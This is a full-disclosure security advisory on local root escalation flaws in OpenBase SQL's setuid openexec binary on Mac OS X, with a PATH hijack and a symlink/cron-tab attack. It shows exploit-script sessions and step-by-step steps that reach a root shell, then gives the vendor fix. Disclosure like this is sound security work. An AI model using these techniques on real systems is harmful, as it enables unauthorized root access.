[Full-disclosure] OpenBase SQL multiple vulnerabilities Part Deux

DMA[2006-1107a] - 'OpenBase SQL multiple vulnerabilities Part Deux'
Author: Kevin Finisterre
Vendor(s): http://www.openbase.com
Product: 'OpenBase SQL <=10.0 (?)'
References:
http://www.digitalmunition.com/DMA[2006-1107a].txt

Description:
(regurgitation warning - this may taste VERY familiar)

For over a decade, the OpenBase family of products have been enabling some of the most innovative business applications
at work today. With thousands of customers worldwide, OpenBase has become a brand that companies can rely on. OpenBase
customers include AT&T, Adobe Systems, Canon, Walt Disney, First National Bank of Chicago, MCI, Motorola, Apple, The
Sharper Image and many other innovators worldwide.

As mentioned previously several setuid root binaries from OpenBase SQL are placed in /Library/OpenBase/bin during the
installation of WebObjects support for Xcode or during a standard OpenBase install. In this particular instance we will
be dealing only with the openexec binary.

pwnercycles-ibook:/tmp pwnercycle$ ls -al /Library/OpenBase/bin/openexec
-rwsrwsr-x 1 root admin 189544 Jan 13 2005 /Library/OpenBase/bin/openexec

The openexec binary makes poor use of its setuid privileges when calling various helper binaries such as: cp, rm and killall.
Each of the mentioned binaries winds up being called while openexec is running as root. Using the PATH environment variable
it is possible to influence openbase in a manor that forces it to call the various helper binaries from a location of the
attackers choice. Manipulating openexec via its path is an easy way for an attacker to obtain root.

pwnercycles-ibook:/tmp pwnercycle$ ./openexec_duh.pl

Usage: ./openexec_duh.pl <target>

Targets:

    0 . cp - /Library/OpenBase/bin/openexec -install
    1 . killall - /Library/OpenBase/bin/openexec -kill
    2 . rm - /Library/OpenBase/bin/openexec -uninstall

pwnercycles-ibook:/tmp pwnercycle$ ./openexec_duh.pl 1
*** Target: killall - /Library/OpenBase/bin/openexec -kill
/bin/cp /tmp/finisterre /tmp/killall
sh-2.05b# id
uid=0(root) gid=0(wheel) groups=0(wheel), 81(appserveradm), 79(appserverusr), 80(admin)

The next issue with the openexec binary results in an attacker being able to place a root owned and world writable file anywhere on
the target file system. Again the end result is a local root compromise, in this case a little cron nastiness is required.

When an openexec instance starts a log is written to /tmp/output. Unfortunately when this log file is created openexec takes no
objections to a symlink in place of the filename. A symlink can point to virtually anywhere on the filesystem so an attacker has many
options at his disposal. In most cases being able to create a file alone will not get you root access. The proper umask and a crafty
file location can make all the difference in the world in some instances.

Having the ability to place a root owned file with rw-rw-rw- permissions anywhere on the filesystem is quite powerful. On Linux based
systems writing to /etc/ld.so.preload has proven to be a reliable exploitation path to obtain root. Apple's OSX unfortunately has no
such facility to abuse. After some research the most expediant way I could come up with to obtain root via rw-rw-rw- file creation was
cron abuse.

On a vanilla install of OSX there are no tabs in /var/cron/tabs, nor is cron even running. In order to exploit the cron facilities we
must have the cron daemon running. Fortunately the crontab -e command kicks off /usr/sbin/cron after a valid crontab is saved.

pwnercycles-ibook:/tmp pwnercycle$ ps -ax | grep cron
2340 p4 R+ 0:00.00 grep cron
pwnercycles-ibook:/tmp pwnercycle$ ls /var/cron/tabs/
pwnercycles-ibook:/tmp pwnercycle$ crontab -e
crontab: no crontab for kf - using an empty one
crontab: installing new crontab
pwnercycles-ibook:/tmp pwnercycle$ ps -ax | grep cron
2344 ?? Ss 0:00.01 /usr/sbin/cron
2346 p4 R+ 0:00.00 grep cron
pwnercycles-ibook:/tmp pwnercycle$ ls /var/cron/tabs/
pwnercycle

According to the man page 'cron checks each minute to see if its spool directory's modtime (or the modtime on /etc/crontab) has changed,
and if it has, cron will then examine the modtime on all crontabs and reload those which have changed. Thus cron need not be restarted
whenever a crontab file is modified'.

Wow how perfect is that! 1.) crontab -e to start cron 2.) create /var/cron/tabs/root 3.) wait 1 minute 4.) enjoy root shell.

pwnercycles-ibook:/tmp pwnercycle$ ./openexec_createfile.pl

Usage: ./openexec_createfile.pl <target>

Targets:

    0 . OpenBase10.0.0_MacOSX.dmg

pwnercycles-ibook:/tmp pwnercycle$ ./openexec_createfile.pl 0
*** Target: OpenBase10.0.0_MacOSX.dmg /Library/OpenBase/bin/openexec
deactivating OpenBase Service

No matching processes belonging to you were found
No matching processes belonging to you were found
No matching processes belonging to you were found
/var/cron/tabs/root should be rw-rw-rw … enjoy!
installing trojan crontab for root
sit around and chill for a minute then check /Users/Shared/shX !
sh-2.05b# id
uid=0(root) gid=0(wheel) groups=0(wheel), 81(appserveradm), 79(appserverusr), 80(admin)

Semi-insta root ala Apple's cron.

Workaround:
If you are using Xcode with WebObjects support you may be vulnerable to this issue. In a recent WebObjects update apple suggests to
download the latest version of OpenBase directly from the vendor as a workaround to an other Outstanding Issue. Downloading with
lastest vendor patches will effectively curb this issue.

OpenBase has stated that this problem has been fixed in OpenBase 10.0.1 and that all users should download the new version.

Thanks to Apple Staff for help coordinating with OpenBase. Even more thanks to OpenBase for the instant / weekend patch.